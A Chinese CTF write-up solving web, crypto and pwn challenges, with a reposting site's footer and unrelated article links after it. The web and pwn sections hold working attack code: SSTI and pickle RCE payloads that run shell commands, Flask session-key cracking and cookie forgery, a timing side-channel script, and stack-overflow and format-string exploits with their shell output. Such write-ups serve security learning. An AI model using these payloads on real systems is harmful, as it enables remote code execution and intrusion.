GJS-WCP

不懂的就问,但我也是二把手......哭死

web

GJS-ezssti

很常规的ssti模板注入,只过滤了"/","flag"。

过滤了/,flag
可以利用bash的特性绕过,如字符串截取,环境变量等等。

payload1:
{{url_for.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;cat f*').read()")}}

payload2:
{{lspnum.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;cat f*').read()")}}

payload3:
{{x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;cat f*').read()")}}
#其中x可以为任意值

payload4:
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cd ..;cat f*').read()")}}

还有很多getshell的手法,大家可以去研究。 

GJS-php_itr

本题主要考察的是php的原生类。

首先利用Directorylterator、FilesystemIterator等来得到文件目录结构。
再利用SplFileObject类就可以读取flag。


这里就直接cat flag了,然后在源码里及即看到flag。
?cla=SplFileObject&parm=/flag.php

GJS-sess_pickle

源码:

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime

currentDateAndTime = datetime.now()
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime

@app.route('/')
def index():
    session['username'] = 'user-pickle'
    return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])
    
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # maybe ...RCE
        userdata=pickle.loads(pickle_data)
        return userdata
    else:
        return 'Access Denied'
 
if __name__=='__main__':
    app.run(host="0.0.0.0", port=8080)

通过阅读源码其实可以知道 SECRET_KEY的长度为6位。

currentDateAndTime = datetime.now()
currentTime = currentDateAndTime.strftime("%H%M%S")

然后可以利用flask_unsign库进行暴力破解。

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist

path = "wordlist.txt"

#生成爆破字典
with open(path,"w") as f:
    [f.write("".join(x)+"\n") for x in itertools.product('0123456789', repeat=6)]#生成条件

#需要爆破的session
cookie_tamper = "eyJ1c2VybmFtZSI6InVzZXItcGlja2xlIn0.ZxeQyg.TIb3nCNhe5r2qeuCW4m36YSrcaA"

obj = flask_unsign.Cracker(value=cookie_tamper)

with wordlist(path, parse_lines=False) as iterator:
            obj.crack(iterator)

secret = ""
if obj.secret:
    secret = obj.secret.decode()
    print(f"{secret}")
    

得到 SECRET_KEY=095954。

最后构造cookie为admin的凭证。{'username':'admin'} 。用我们老演员--flask_session_manager.py得到admin的token。

root@iZf8z3zcbp57dpbdy2dbh7Z:~/tools# python3 flask_session_manager.py encode -t "{'username': 'admin'}" -s 095954
eyJ1c2VybmFtZSI6ImFkbWluIn0.ZxejBw.YP4_Qe_5ZBR8eMAeIHixCfzaU0s

 最后就是一个python的反序列化。

pickle_data=base64.b64decode(request.form.get('pickle_data'))
# maybe ...RCE
userdata=pickle.loads(pickle_data)

构造payload-rce。

from pickle import *
import base64

class A():
    def __reduce__(self):
        return (eval,("__import__('os').popen('cat /flag').read()",))
    
a=dumps(A())
print(base64.b64encode(a))
print(loads(a))

# b'gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mbGFnJykucmVhZCgplIWUUpQu'

 最后发送这个payload。

GJS-非常 timing 的逐字符串匹配

本题主要考的是基于逐字符判断的侧信道攻击。

测信道攻击的漏洞的主要原因是:
1、密码是逐个字符判断的。
2、输入正确字符和错误字符造成的判断时间相差较大,由于此两点原因,我们可以根据漏洞程序的执行时间逐步判断密码的每一位字符是否正确,从而最终猜解出密码。

所以我们可以对每一位数字提交后的反馈时间。比如第一位可以设置为[0-9]中的任意一个,然后对比时间,时间差异最大的就是正确位数

算法文盲,将就看:

import requests
import time

url = 'http://154.9.243.120:5479/?student=20220158111&password='

pass_dic = '0123456789'
password = list('000000000')
minimumTime  = 0

session = requests.Session()

for i in range(9):
    tmp_pass = ''
    for j in range(len(pass_dic)):
        total_time = 0
        for _ in range(3):
            passwd = password
            start_time = time.time()
            passwd[i] = pass_dic[j]
            response = session.get(url=url+(''.join(passwd)))
            response_time = time.time() - start_time
            total_time += response_time
        

        # 计算平均时间,冗余,误差
        average_time = total_time/3
        if average_time > minimumTime:
            minimumTime = average_time
            tmp_pass = pass_dic[j]
    time.sleep(0.3)
                
    password[i] = tmp_pass
    print(password)

print(session.get(url=url+(''.join(password))).text)

算法太菜了。 

crypto

GJS-pwn-xor

题目考察的是对pwntools的使用(密码手也需要会pwntools) 。

from pwn import xor

from Crypto.Util.number import bytes_to_long

key = ??
flag = 'eRr0r{xxxxx}'
c = bytes_to_long(xor(flag, key))

print("c={}".format(c))
# c=1989358635555601586944294666564439690559417088273929305967202923478426264295213557413803015356391360278

 看源码得知key的长度为2位,所以只需要对key进行一个爆破即可。

from pwn import xor
from Crypto.Util.number import *

key_list = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
c=1989358635555601586944294666564439690559417088273929305967202923478426264295213557413803015356391360278

lens = len(key_list)
for i in range(lens):
    for j in range(lens):
        key = key_list[i]+key_list[j]
        m = xor(long_to_bytes(c),key.encode())
        if b'eRr0r' in m:
            print(m)
            break
xingu@XPATH:~$ /bin/python3 /home/xingu/cc.py
b'eRr0r{57c6bf19-40d1-4ae5-aa2f-c102afbefb3c}'

GJS-RSA不需要开方

from Crypto.Util.number import *
from gmpy2 import *

flag = b'eRr0r{xxxxxxx}'
e = 65537
p = getPrime(512)
q = getPrime(512)

n = p * p * q
r = p * p * p
c = powmod(bytes_to_long(flag), e, n)
print(f'n={n}')
print(f'r={r}')
print(f'c={c}')

"""
n=956644758662325334275935677193545846966964224730768047800799484199254874848755570176621105964216685450400592519779736299071620670198679767076909951861275366349274913564855611804713576455973452798738480576393513782959858991023279368811318477928590312287345976269507693182717835090889323737161445009094230471966576067059180367710675776431780850981672590718621642406649772873983155144565115561215357644060989674313666664128285428710418608626157654320096959468332789
r=1345078375760026706835636528104232935324792813299481702959191413869678433585611612489489233850135754004008454255442067094416057070653581682216472162832576102395929522964758137562331369937309520932341038194588061234349285835173264924581628476525732548802996777119376402597432941823910805400422997388890125959165744110693548332102850004546567333233033056330747571604112513118676120054887873919132942248368949405204018082281972171926154390788995387954327057809116473
c=936310107479804816008419620783331591731669973551600412630438496096506936555654150347316504628936567917322628361192826332723621557085687187656374265595928800179023434816282465737570583664049306302433304764932094555068571960389925568234337849324139382026123756712781801729784082813537306655834855225574012571190343998486944126889100533730013294773898567894735241014148086447852399651017513015256218096669695768149692738056964549129474502511719667414306379946087801
"""

本题求出pq有两种方法:

第一种,直接对r开3次方即可
p = iroot(r,3)[0]
q = n // p**2

第二种,利用公约数:
# n = p * p * q
# r = p * p * p
n和r公约数位p**2

pp = gcd(n,r)
p = r//pp
q = n //pp

payload:

from Crypto.Util.number import *
from gmpy2 import *

e = 65537
# n = p * p * q
# r = p * p * p

n=956644758662325334275935677193545846966964224730768047800799484199254874848755570176621105964216685450400592519779736299071620670198679767076909951861275366349274913564855611804713576455973452798738480576393513782959858991023279368811318477928590312287345976269507693182717835090889323737161445009094230471966576067059180367710675776431780850981672590718621642406649772873983155144565115561215357644060989674313666664128285428710418608626157654320096959468332789
r=1345078375760026706835636528104232935324792813299481702959191413869678433585611612489489233850135754004008454255442067094416057070653581682216472162832576102395929522964758137562331369937309520932341038194588061234349285835173264924581628476525732548802996777119376402597432941823910805400422997388890125959165744110693548332102850004546567333233033056330747571604112513118676120054887873919132942248368949405204018082281972171926154390788995387954327057809116473
c=936310107479804816008419620783331591731669973551600412630438496096506936555654150347316504628936567917322628361192826332723621557085687187656374265595928800179023434816282465737570583664049306302433304764932094555068571960389925568234337849324139382026123756712781801729784082813537306655834855225574012571190343998486944126889100533730013294773898567894735241014148086447852399651017513015256218096669695768149692738056964549129474502511719667414306379946087801

pp = gcd(n,r)
p = r//pp
q = n //pp

phi = p*(p-1)*(q-1)
d = invert(e,phi)
m = powmod(c,d,n)
print(long_to_bytes(m))
xingu@XPATH:~$ /bin/python3 /home/xingu/cc.py
b'eRr0r{8405b28f-0361-4ff2-a7be-207976959e57}'

GJS-公约数

from Crypto.Util.number import *
from gmpy2 import *

flag = b'eRr0r{xxxxx}'
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
e = 65537
n = p * q
crk = 20241023
hint = powmod(crk + 2024 * p, e, n)
c = powmod(m, e, n)

print(f'c={c}')
print(f'hint={hint}')
print(f'n={n}')
"""
c=9260515433610120280008788616369917527440918016583970463267413888038620231632315755053130819135680219725193705143276989448464568923287780884567477444752281787219008197778235694808310015451436273173120342244508480300309327125740550720761803016805090772084892303426324401458208853572349436651241114325126813178387774773225671310675661384364583719937986137431924661751667799721403091088819130712074446392667925270602713820578698380555087508570396354596507820301695407501589171316466749765566640671175261738214786931233515226676383610095252777602357358715830442730793413854030130159429831836139461346783752981050813732069
hint=8094412685291396028609075626918140121506947522568951876054923981766018665809307245676906962476129535524261290288676682415754365494729100653964464043778107187780094987346960936524957684351202664556083007516342647270843318799374573265572433597813542467233774440761157666163653083434901710684602668110754606779618547097469723494051944423735743020796614230912654483076371143884272140665083106681250761777421849174392250115711493211614041421966160007494118001886509021791801603279425718319848286079047627747060392153242687995879244305361283318239633489351437938349967104089252073286122852948926120077346704517839491242600
n=23943887157244144155119304091490887271618409550249370466947408451630786373270023317955770997094495960178972234787734527489930932382886951681503407337732409056867814217798179098470500423183149599235298318961753544247139126393603818930198570518572541969106263681690246969943380184085615036939160841952487430183744682360269049755724699223823113423345833853721055104064208499773196686029550287842335392225460471498725028570388425785174864702422657076986041883407370525124516499400063195102043767284110595801090960970448531501256554964589108962129695186026989010988971553669949886294626941810027891021837474837841341804809
"""

给了一个hint = powmod(crk + 2024 * p, e, n) 。

hint = powmod(crk + 2024 * p, e, n)
所以有hint=(crk+2024*p)^e %n

展开,根据二项式定理有:

hint=(crk^e + k1*crk^(e-1)*2024*p+k2*crk^(e-2)*2024*p^2+....+(2024*p)^e)  %n
将k1*crk^(e-1)*2024*p+k2*crk^(e-2)*2024*p^2+....全部可以换为k*p

既hint=(crk^e + k*p + (2024*p)^e) %n
还可以换一下:(k*p + (2024*p)^e) = kp
hint=(crk^e+kp) %n ==> hint=crk^e + k1*p + k2*p*q

然后两把同时%p,既:

hint%p=crk^e%p
hint+k1p=crk^e+k2p ==> crk^e - hint = kp

这时我们可以用求公约数的方法求出p:

p = gcd(crk^e - hint,n)
q = n//p

payload:

from Crypto.Util.number import *
from gmpy2 import *

e = 65537
c=9260515433610120280008788616369917527440918016583970463267413888038620231632315755053130819135680219725193705143276989448464568923287780884567477444752281787219008197778235694808310015451436273173120342244508480300309327125740550720761803016805090772084892303426324401458208853572349436651241114325126813178387774773225671310675661384364583719937986137431924661751667799721403091088819130712074446392667925270602713820578698380555087508570396354596507820301695407501589171316466749765566640671175261738214786931233515226676383610095252777602357358715830442730793413854030130159429831836139461346783752981050813732069
hint=8094412685291396028609075626918140121506947522568951876054923981766018665809307245676906962476129535524261290288676682415754365494729100653964464043778107187780094987346960936524957684351202664556083007516342647270843318799374573265572433597813542467233774440761157666163653083434901710684602668110754606779618547097469723494051944423735743020796614230912654483076371143884272140665083106681250761777421849174392250115711493211614041421966160007494118001886509021791801603279425718319848286079047627747060392153242687995879244305361283318239633489351437938349967104089252073286122852948926120077346704517839491242600
n=23943887157244144155119304091490887271618409550249370466947408451630786373270023317955770997094495960178972234787734527489930932382886951681503407337732409056867814217798179098470500423183149599235298318961753544247139126393603818930198570518572541969106263681690246969943380184085615036939160841952487430183744682360269049755724699223823113423345833853721055104064208499773196686029550287842335392225460471498725028570388425785174864702422657076986041883407370525124516499400063195102043767284110595801090960970448531501256554964589108962129695186026989010988971553669949886294626941810027891021837474837841341804809
crk = 20241023
# hint = powmod(crk + 2024 * p, e, n)

p = gcd(crk**e-hint,n)
print(isPrime(p))
q = n//p

phi = (p-1)*(q-1)
d = invert(e,phi)
m = powmod(c,d,n)
print(long_to_bytes(m))

pwn

GJS-bash

这题没有什么好说的。

GJS-ret2text

简单的栈溢出。

先连接题目环境,可以看到只能输入。

将文件下载,检测保护再拖入ida中查看。 (啥保护也没)

 可以看到在main中buf到rbp(返回)的距离只有0x20字节,但是read却读了0x50字节,存在溢出。并且发现了door函数,里面执行/bin/sh,返回一个shell。

from pwn import *

# 连接到远程主机
io = remote("121.43.101.206", "40011")

# 定义 /bin/sh 字符串的地址
bin_sh = 0x04011FF

# 构造 payload
payload = b'a' * 0x20 + b'b' * 0x8 + p64(bin_sh)

# 发送 payload
io.send(payload)

# 进入交互模式
io.interactive()
xingu@XPATH:~/python$ /bin/python3 /home/xingu/python/pwn1.py
[+] Opening connection to 121.43.101.206 on port 40011: Done
[*] Switching to interactive mode
__        __   _                                  ____        ___       
\ \      / /__| | ___ ___  _ __ ___   ___     ___|  _ \ _ __ / _ \ _ __ 
 \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \   / _ \ |_) | '__| | | | '__|
  \ V  V /  __/ | (_| (_) | | | | | |  __/  |  __/  _ <| |  | |_| | |   
   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|   \___|_| \_\_|   \___/|_|   
                                                                     
$ ls
bin
dev
flag
lib
lib32
lib64
libexec
libx32
pwn
$ cat flag
eRr0r{a570db4f-42ff-45bb-88c7-de3f95746d3d}
$  

GJS-format

本题考察格式化字符漏洞任意地址写。

什么是格式化字符串漏洞,简单来说就是我们输入%p、%c等字样就会打印出相应的值。

printf(code)

输入%p打印出地址。有一个fmtstr_payload是pwntools里的对格式化字符串漏洞利用的函数。

fmtstr_payload(offset,{base:value})

用ida打开附件。

有一个判断:

  if ( target )
    readflag();

如果target存在就会进入readflag()函数,就会打印出flag。

 有了目标,现在就是找offset和target的地址。

target的地址很好找,在bss段。

现在就是找偏移量:

                                                                     
fmtstr_payload!
aaaabbbb %p %p %p %p %p %p %p %p %p %p %p %p
aaaabbbb 0x7ffec980b3e0 0x100 0x7f6c9c5c17e2 0xf 0x7f6c9c6de040 0x6262626261616161 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0xa70252070 (nil)

当我们输入多个%p,并在前面写一个aaaabbbb(因为是64位程序),在第6的一个%p发现了 0x6262626261616161,其实就是aaaabbbb的16进制值,所以这里的偏移量就是6。

from pwn import *

context.arch='amd64'
io = remote("121.43.101.206", "40012")

target= 0x4040AC
offset = 6
payload = fmtstr_payload(offset,{target:1})
io.send(payload)
io.interactive()
xingu@XPATH:~/python$ /bin/python3 /home/xingu/python/pwn1.py
[+] Opening connection to 121.43.101.206 on port 40012: Done
[*] Switching to interactive mode
__        __   _                                  ____        ___       
\ \      / /__| | ___ ___  _ __ ___   ___     ___|  _ \ _ __ / _ \ _ __ 
 \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \   / _ \ |_) | '__| | | | '__|
  \ V  V /  __/ | (_| (_) | | | | | |  __/  |  __/  _ <| |  | |_| | |   
   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|   \___|_| \_\_|   \___/|_|   
                                                                     
fmtstr_payload!
ca\xac@@eRr0r{5e88fa92-0208-4ac6-97b5-e87c4b9f1317}
[*] Got EOF while reading in interactive
$  

 拿到flag。

GJS-不可能让你溢出的

(终于还差最后wp,要死了)

下载文件,用checksec检测一下,发现开了canary保护(防止溢出的)。

程序给了两次输入输出的机会,那么我们就可以利用第一次输入输出将canary带出。

from pwn import *

context.arch='amd64'
io=remote("121.43.101.206","40013")
back=0x040121F # /bin/sh的地址
io.recv()
payload=b'a'*(0x70-8+1) # 往canary的地址多写一个a
io.send(payload)
io.recvuntil(b'a'*0x68)
canary=u64(io.recv(8))-0x61 # 接受canary
print(hex(canary))
payload=b'a'*0x68+p64(canary)+b'a'*8+p64(back) #将canary写回去绕过保护
io.sendline(payload)
io.interactive()
xingu@XPATH:~/python$ /bin/python3 /home/xingu/python/pwn1.py
[+] Opening connection to 121.43.101.206 on port 40013: Done
0x5dbeeb7943531f00
[*] Switching to interactive mode
\x01
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
$ ls
bin
dev
flag
lib
lib32
lib64
libexec
libx32
pwn
pwn.c
$ cat flag
eRr0r{03578d51-c057-478a-8bc6-3c42f8318bce}
$  

(终于写完了,要死!!!)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/897261.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

柔性数组的使用

//柔性数组的使用 #include<stdio.h> #include<stdlib.h> #include<errno.h> struct s {int i;int a[]; }; int main() {struct s* ps (struct s*)malloc(sizeof(struct s) 20 * sizeof(int));if (ps NULL){perror("malloc");return 1;}//使用这…

react18中在列表项中如何使用useRef来获取每项的dom对象

在react中获取dom节点都知道用ref&#xff0c;但是在一个列表循环中&#xff0c;这样做是行不通的&#xff0c;需要做进一步的数据处理。 实现效果 需求&#xff1a;点击每张图片&#xff0c;当前图片出现在可视区域。 代码实现 .box{border: 1px solid #000;list-style: …

Math类、System类、Runtime类、Object类、Objects类、BigInteger类、BigDecimal类

课程目标 能够熟练使用Math类中的常见方法 能够熟练使用System类中的常见方法 能够理解Object类的常见方法作用 能够熟练使用Objects类的常见方法 能够熟练使用BigInteger类的常见方法 能够熟练使用BigDecimal类的常见方法 1 Math类 1.1 概述 tips&#xff1a;了解内容…

Java | Leetcode Java题解之第493题翻转对

题目&#xff1a; 题解&#xff1a; class Solution {public int reversePairs(int[] nums) {Set<Long> allNumbers new TreeSet<Long>();for (int x : nums) {allNumbers.add((long) x);allNumbers.add((long) x * 2);}// 利用哈希表进行离散化Map<Long, Int…

【JAVA】第三张_Eclipse下载、安装、汉化

简介 Eclipse是一种流行的集成开发环境&#xff08;IDE&#xff09;&#xff0c;可用于开发各种编程语言&#xff0c;包括Java、C、Python等。它最初由IBM公司开发&#xff0c;后来被Eclipse Foundation接手并成为一个开源项目。 Eclipse提供了一个功能强大的开发平台&#x…

AI 编译器学习笔记之四 -- cann接口使用

1、安装昇腾依赖 # CANN发布件地址 https://cmc.rnd.huawei.com/cmcversion/index/releaseView?deltaId10274626629404288&isSelectSoftware&url_datarun Ascend-cann-toolkit_8.0.T15_linux-aarch64.run Ascend-cann-nnal_8.0.T15_linux-aarch64.run Ascend-cann-ker…

当下大语言模型(LLM)应用的架构介绍

想要构建你的第一个大语言模型应用&#xff1f;这里有你需要了解的一切&#xff0c;以及你今天就能开始探索的问题领域。 LLM 应用架构 我们的目标是让你能够自由地使用大语言模型进行实验、打造自己的应用&#xff0c;并挖掘那些尚未被人注意的问题领域。为此&#xff0c;Git…

数据类型的通用操作

#通用操作有&#xff1a;for语句遍历&#xff0c;len()统计元素个数&#xff0c;是数据类型间的相互转换&#xff0c;元素的排序&#xff08;正反向&#xff09; 1.for语句遍历若遍历字典则 只去字典中的key(即名词) 2.各数据类型间的数据转换&#xff08;若为字典转化为列表…

2024年软件设计师中级(软考中级)详细笔记【7】面向对象技术(上)(分值10+)

目录 前言第7章 面向对象技术 &#xff08;上&#xff09;7.1 面向对象基础(3-4分&#xff09;7.1.1 面向对象的基本概念7.1.2 面向对象分析&#xff08;熟记&#xff09;7.1.3 面向对象设计7.1.4 面向对象程序设计7.1.5 面向对象测试 7.2 UML(3~4分)7.2.1 事务7.2.2 关系7.2.2…

超详细JDK安装+环境配置教程

安装jdk 1.首先在JDK官网进行下载 JDK会默认安装在C盘 program file文件下 2.并且在JDK安装的过程中会提示安装JRE JDK和JRE会安装在同一目录下 JDK通过命令行进行使用 JDK的目录 以下是JDK对应的目录 bin:存放可执行程序 其中包含java javac命令 Include&#xff1a;本地…

013_django基于大数据的高血压人群分析系统2024_dcb7986h_055

目录 系统展示 开发背景 代码实现 项目案例 获取源码 博主介绍&#xff1a;CodeMentor毕业设计领航者、全网关注者30W群落&#xff0c;InfoQ特邀专栏作家、技术博客领航者、InfoQ新星培育计划导师、Web开发领域杰出贡献者&#xff0c;博客领航之星、开发者头条/腾讯云/AW…

react-native 安装 自学笔记(踩坑点)

react-native环境安装搭建注意点 安装环境文档地址&#xff1a; Android 原生UI组件 React Native 中文网&#xff08;中文网可能有些信息没有外文的更新及时&#xff09; 1.必须要安装node 和 jdk 坑点&#xff1a;node版本18/18 jdk版本文档要求17&#xff0c;但是我clo…

微服务的一些基本概念

目录 1 概述1.1 微服务架构的特征1.2 微服务架构示例 2 微服务与单体式架构2.1 什么是单体式架构&#xff1f;2.2 单体式架构的优点2.3 单体式架构的缺点 3 什么是微服务&#xff1f;3.1 微服务的优点3.2 微服务的缺点 4 如何构建微服务4.1 从单体式开始4.2 以正确的方式组织团…

OBOO鸥柏:液晶拼接大屏搭载节点盒分布式集中管控控制系统新技术

近年来&#xff0c;随着视频监控、会议系统及展示需求的快速增长&#xff0c;KVM分布式输入输出节点控制系统在各大行业中逐渐成为核心技术。OBOO鸥柏的液晶拼接大屏分布式输入输出节点控制系统&#xff08;WControl&#xff09;&#xff0c;以其创新的技术和卓越的用户体验&am…

详细尝鲜flutter

flutter 161由于官方的汉化文档感觉还是有很多没有汉化的地方 &#xff0c;所以自己打一遍的同时写下了以下笔记 社区生态 官方文档 所有的控件:Widget 目录 | Flutter 中文文档 - Flutter 中文开发者网站 - Flutter 官方论坛的教程 Flutter Widget框架概述 - Flutter中文网…

iTOP-RK3568开发板独立NPU通过算法加特应用到以下的场景

iTOP-3568开发板采用瑞芯微RK3568处理器&#xff0c;内部集成了四核64位Cortex-A55处理器。主频高达2.0Ghz&#xff0c;RK809动态调频。集成了双核心架构GPU&#xff0c;ARM G52 2EE、支持OpenGLES1.1/2.0/3.2、OpenCL2.0、Vulkan1.1、内嵌高性能2D加速硬件。 内置独立NPU,算力…

2024软考网络工程师笔记 - 第10章.组网技术

文章目录 交换机基础1️⃣交换机分类2️⃣其他分类方式3️⃣级联和堆叠4️⃣堆叠优劣势5️⃣交换机性能参数 &#x1f551;路由器基础1️⃣路由器接口2️⃣交换机路由器管理方式2️⃣交换机路由器管理方式 交换机基础 1️⃣交换机分类 1.根据交换方式分 存储转发式交换(Store…

信息搜集 ---开发框架识别

开发框架识别 插件推荐 插件商店搜索wappalyzer Python - Django&Flask Django 1、wappalyzer插件 2、返回数据包的特征字段 Set-Cookie:expires Flask 1、wappalyzer插件 2、返回数据包的特征字段 Set-Cookie:expires 或 Etag: "flask PHP - ThinkPHP&Lar…

Rust小练习,编写井字棋

画叉画圈的游戏通常指的是 井字棋&#xff08;Tic-Tac-Toe&#xff09;&#xff0c;是一个简单的两人游戏&#xff0c;规则如下&#xff1a; 游戏规则 棋盘&#xff1a;游戏在一个3x3的方格上进行。玩家&#xff1a;有两个玩家&#xff0c;一个用“X”表示&#xff0c;另一个…

springboot基于微信小程序的企业考勤系统设计与实现

文章目录 前言项目介绍技术介绍功能介绍核心代码数据库参考 系统效果图文章目录 前言 文章底部名片&#xff0c;获取项目的完整演示视频&#xff0c;免费解答技术疑问 项目介绍 伴随着我国社会的发展&#xff0c;人民生活质量日益提高。于是对各种需求进行规范而严格是十分有…